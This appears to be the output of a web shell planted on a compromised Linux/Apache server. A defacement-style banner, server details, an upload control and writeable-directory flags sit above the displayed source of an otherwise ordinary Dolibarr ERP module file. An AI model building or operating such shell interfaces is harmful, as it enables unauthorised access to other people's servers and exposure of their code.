Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/autogestion/core/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/autogestion/core/modules/modAutoGestion.class.php
<?php

include_once DOL_DOCUMENT_ROOT . "/core/modules/DolibarrModules.class.php";


class modAutoGestion extends DolibarrModules
{ 
	/** @var DoliDB Database handler */
	public $db;
	public $numero = 743734;
	public $rights_class = 'autogestion';
	public $family = 'SyDTech';
	public $module_position = 698;
	public $name = "Auto Gestion";	
	public $description = "Modulo para autogestion usuarios externos";
	public $descriptionlong = "Modulo para autogestion usuarios externos";
	public $editor_name = "Randall Mora";
	public $editor_url = "https://sydtech.io";
	public $version = '1.0';
	public $const_name = 'MAIN_MODULE_AUTOGESTION';
	public $picto = 'exchange';


	/** @var array Define module parts */
	public $module_parts = array(
		'autogestion' => true,
		'triggers' => true,
		'login' => false,
		'substitutions' => false,
		'menus' => false,
		'theme' => false,
		'tpl' => false,
		'barcode' => false,
		'models' => false,
		'hooks' =>array('login','contactcard','productcard','productpricecard','productservicelist','main','propallist','propalcard','orderlist','ordercard','shipmentlist','expeditioncard','invoicelist','invoicecard',),
		'dir' => array(),
		'workflow' => array(),
	);
 
	public $config_page_url = 'setup.php@autogestion';
	
	public $hidden = false; /** @var bool Control module visibility */
	public $depends = array('modCommande','modPropale',
	'modProduct'); /** @var string[] List of class names of modules to enable when this one is enabled */
	public $requiredby = array(); /** @var string[] List of class names of modules to disable when this one is disabled */
	public $conflictwith = array(); /** @var string List of class names of modules this module conflicts with */
	public $phpmin = array(5, 6); /** @var int[] Minimum PHP version required by this module */
	public $need_dolibarr_version = array(15, 0); /** @var int[] Minimum Dolibarr version required by this module */
	public $langfiles = array();
	
	
	/** @var array Indexed list of constants options */
	public $const = array(
	);
	
	public $tabs = array(
		'contact:+tabautogestion:Auto Gestion:autogestion@autogestion:$user->rights->user->user_advance->write&&$user->rights->autogestion->admin:/autogestion/externaluser.php?id=__ID__'
		,'contact:-info:NU:true'
		,'thirdparty:+tabautogestion:Auto Gestion:autogestion@autogestion:$user->rights->user->user_advance->write&&$user->rights->autogestion->admin:/autogestion/report.php?id=__ID__'
		,'thirdparty:-info:NU:true'
		);

	public $rights = array();
	
	public $menu = array();

	public $cronjobs = array();

	/** @var bool Module only enabled / disabled in main company when multi-company is in use */
	public $core_enabled = false;
	// @codingStandardsIgnoreEnd

	/**
	 * Constructor. Define names, constants, directories, boxes, permissions
	 *
	 * @param DoliDB $db Database handler
	 */
	public function __construct($db)
	{
		global $langs, $conf;
		// DolibarrModules is abstract in Dolibarr < 3.8
		if (is_callable('parent::__construct')) {
			parent::__construct($db);
		} else {
			global $db;
			$this->db = $db;
		}

		// Permissions
		$this->rights = array();		// Permission array used by this module
		$r=0;

		// Add here list of permission defined by an id, a label, a boolean and two constant strings.
		// Example:
		$this->rights[$r][0] = $this->numero + $r;	// Permission id (must not be already used)
		$this->rights[$r][1] = 'admin';	// Permission label
		$this->rights[$r][3] = 0; 					// Permission by default for new user (0/1)
		$this->rights[$r][4] = 'admin';				// In php code, permission will be checked by test if ($user->rights->permkey->level1->level2)
		$r++;
		$this->rights[$r][0] = $this->numero + $r;	// Permission id (must not be already used)
		$this->rights[$r][1] = 'user';	// Permission label
		$this->rights[$r][3] = 0; 					// Permission by default for new user (0/1)
		$this->rights[$r][4] = 'user';				// In php code, permission will be checked by test if ($user->rights->permkey->level1->level2)
		$r++;
		$this->rights[$r][0] = $this->numero + $r;	// Permission id (must not be already used)
		$this->rights[$r][1] = 'Administrador Proveedor';	// Permission label
		$this->rights[$r][3] = 0; 					// Permission by default for new user (0/1)
		$this->rights[$r][4] = 'adminprov';				// In php code, permission will be checked by test if ($user->rights->permkey->level1->level2)
		$r++;
		$this->rights[$r][0] = $this->numero + $r;	// Permission id (must not be already used)
		$this->rights[$r][1] = 'Usuario Proveedor';	// Permission label
		$this->rights[$r][3] = 0; 					// Permission by default for new user (0/1)
		$this->rights[$r][4] = 'userprov';				// In php code, permission will be checked by test if ($user->rights->permkey->level1->level2)
		$r++;
		$this->rights[$r][0] = $this->numero + $r;	// Permission id (must not be already used)
		$this->rights[$r][1] = 'Administrador Cliente';	// Permission label
		$this->rights[$r][3] = 0; 					// Permission by default for new user (0/1)
		$this->rights[$r][4] = 'admincli';				// In php code, permission will be checked by test if ($user->rights->permkey->level1->level2)
		$r++;
		$this->rights[$r][0] = $this->numero + $r;	// Permission id (must not be already used)
		$this->rights[$r][1] = 'Usuario Cliente';	// Permission label
		$this->rights[$r][3] = 0; 					// Permission by default for new user (0/1)
		$this->rights[$r][4] = 'usercli';				// In php code, permission will be checked by test if ($user->rights->permkey->level1->level2)
		$r++;
		// // Add here list of permission defined by an id, a label, a boolean and two constant strings.
		// // Example:
		// $this->rights[$r][0] = $this->numero + $r;	// Permission id (must not be already used)
		// $this->rights[$r][1] = 'Restore';	// Permission label
		// $this->rights[$r][3] = 0; 					// Permission by default for new user (0/1)
		// $this->rights[$r][4] = 'restore';				// In php code, permission will be checked by test if ($user->rights->permkey->level1->level2)
		// $r++;

		
		// Main menu entries
		$this->menu = array();			// List of menus to add
		$r=0;

/*
        $this->menu[$r] = array(
            'fk_menu'=>'fk_mainmenu=home,fk_leftmenu=setup', // Use r=value where r is index key used for the parent menu entry (higher parent must be a top menu entry)
            'type' => 'left', // This is a Left menu entry
            'titre' => 'Proceso de Migracion',
            'mainmenu' => '',
            'leftmenu'=> '',
            'url' => '/AUTOGESTION/migration.php',
            'langs' => '', // Lang file to use (without .lang) by module. File must be in langs/code_CODE/ directory.
            'position' => 100,
            'enabled' => '1', // Define condition to show or hide menu entry. Use '$conf->monmodule->enabled' if entry must be visible if module is enabled.
            'perms' => '$user->rights->AUTOGESTION->execute', // Use 'perms'=>'$user->rights->monmodule->level1->level2' if you want your menu with a permission rules
            'target' => '',
            'user' => 0
        );    // 0=Menu for internal users,1=external users, 2=both
		$r++;
*/
        // Exports
		// Imports
		//--------
    
		$r=1;
	}
	


	
	/**
	 * Function called when module is enabled.
	 * The init function add constants, boxes, permissions and menus
	 * (defined in constructor) into Dolibarr database.
	 * It also creates data directories
	 *
	 * @param string $options Options when enabling module ('', 'noboxes')
	 * @return int 1 if OK, 0 if KO
	 */
	public function init($options = '')
	{

		global $conf, $langs;

		// $efields = new ExtraFields($this->db);
		// $result = $efields->addExtraField(
		// 	'allow_backorders',
		// 	'Permite Crear Pedidos sin Stock',
		// 	'boolean',
		// 	1,
		// 	1,
		// 	'',
		// 	0,
		// 	0,
		// 	0,
		// 	'',
		// 	'( (($user->employee != 0 ) || ($user->admin == 1 ))? 4 : 0 )',
		// 	'( (($user->employee != 0 ) || ($user->admin == 1 ))? 4 : 0 )',
		// 	1
		// );
		// if ($result <= 0) {
		// 	setEventMessages( $efields->error, null, 'errors');
		// 	return -1;
		// }
		

		// Permissions
		$this->remove($options);

		$sql = array();

		$this->db->query('CREATE TABLE '.MAIN_DB_PREFIX.'autogestion_user (
			-- BEGIN MODULEBUILDER FIELDS
			rowid integer AUTO_INCREMENT PRIMARY KEY NOT NULL,
			fk_userid integer NOT NULL,
			fk_soc integer,
			fk_contact integer,
			date_creation datetime NOT NULL,
			tms timestamp,
			fk_user_creat integer NOT NULL,
			fk_user_modif integer,
			budget double(24,8) DEFAULT NULL,
			costcenter varchar(60) DEFAULT NULL,
			require_valid tinyint(4) DEFAULT 1,
			mod_propal tinyint(4) DEFAULT 0,
			mod_commande tinyint(4) DEFAULT 0,
			-- END MODULEBUILDER FIELDS
		) ENGINE=innodb;');

		$this->db->query('CREATE TABLE '.MAIN_DB_PREFIX.'autogestion_product (
			-- BEGIN MODULEBUILDER FIELDS
			rowid integer AUTO_INCREMENT PRIMARY KEY NOT NULL,
			fk_userid integer NOT NULL,
			fk_product integer NOT NULL,
			date_creation datetime NOT NULL,
			tms timestamp,
			fk_user_creat integer NOT NULL,
			fk_user_modif integer,
			UNIQUE KEY `Index` (`fk_userid`,`fk_product`)
			-- END MODULEBUILDER FIELDS
		) ENGINE=innodb;');

		return $this->_init($sql, $options);

		$sql = array();
		$result = $this->loadTables();
		return $this->_init($sql, $options);
	}
	
	
	
	
	/**
	 * Create tables, keys and data required by module
	 * Files llx_table1.sql, llx_table1.key.sql llx_data.sql with create table, create keys
	 * and create data commands must be stored in directory /mymodule/sql/
	 * This function is called by this->init
	 *
	 * @return int <=0 if KO, >0 if OK
	 */
	private function loadTables()
	{
		//return $this->_load_tables('/data/sql/');
	}
	
	
	
	
	/**
	 * Function called when module is disabled.
	 * Remove from database constants, boxes and permissions from Dolibarr database.
	 * Data directories are not deleted
	 *
	 * @param string $options Options when enabling module ('', 'noboxes')
	 * @return int 1 if OK, 0 if KO
	 */
	public function remove($options = '')
	{
		$sql = array();
		//$sql[] = 'DELETE FROM '.MAIN_DB_PREFIX.'const WHERE name LIKE "MAIN_MODULE_AUTOGESTION%"';
		//$sql[] = 'DELETE FROM '.MAIN_DB_PREFIX.'const WHERE name LIKE "AUTOGESTION%%"';
		return $this->_remove($sql, $options);
	}
	
}

?>

Hry